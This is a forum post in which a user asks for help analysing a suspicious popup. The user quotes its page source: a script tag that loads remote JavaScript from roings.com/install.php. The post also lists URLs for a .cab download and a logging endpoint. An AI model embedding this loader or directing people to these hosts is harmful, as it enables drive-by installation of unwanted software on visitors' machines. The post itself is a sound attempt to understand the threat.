something weird to analyze
ok, usually I don't pay much attention to my popups, but this time I checked one out, and it was a blank page that when I viewed the source it was running some javascript.
Code:
<!-- Roings prompt begin -->
<script language="JavaScript" type="text/JavaScript"
src="http://mmm.roings.com/install.php?ttmr=0&retry=1&aff=update&mincook=0&testforcook=0&lfir=1"></script>
<script language="JavaScript">self.focus();</script>
<!-- Roings prompt end -->
http://mmm.roings.com/update.php (go at your own risk maybe)
so as you can see from that it loads something from that install.php, so I take a look at that and this one's a little long so I guess I'll zip it, and just paste parts of it. (to see for yourself at your own risk, cause I have no idea what it does go to http://mmm.roings.com/install.php?tt...rcook=0&lfir=1 ) One part of it loaded a .cab file from http://cabs.roings.com/cabs/ and you can check that out I think, seems safe as it's just a dir listing. But wtflip are all those .cab files, the one it loads is mmed.cab. That just scratches the surface, cause it loads other stuff including http://logs.roings.com/logprompt.php?aff=update which I haven't even looked at yet. Anyone into analyzing this stuff care to shed some light? I think I might just reinstall soon, cause i know this isn't the half of my problems. just was curious. Attached at the bottom is the code in install.php. Thanks for any insight you can provide. Peace.
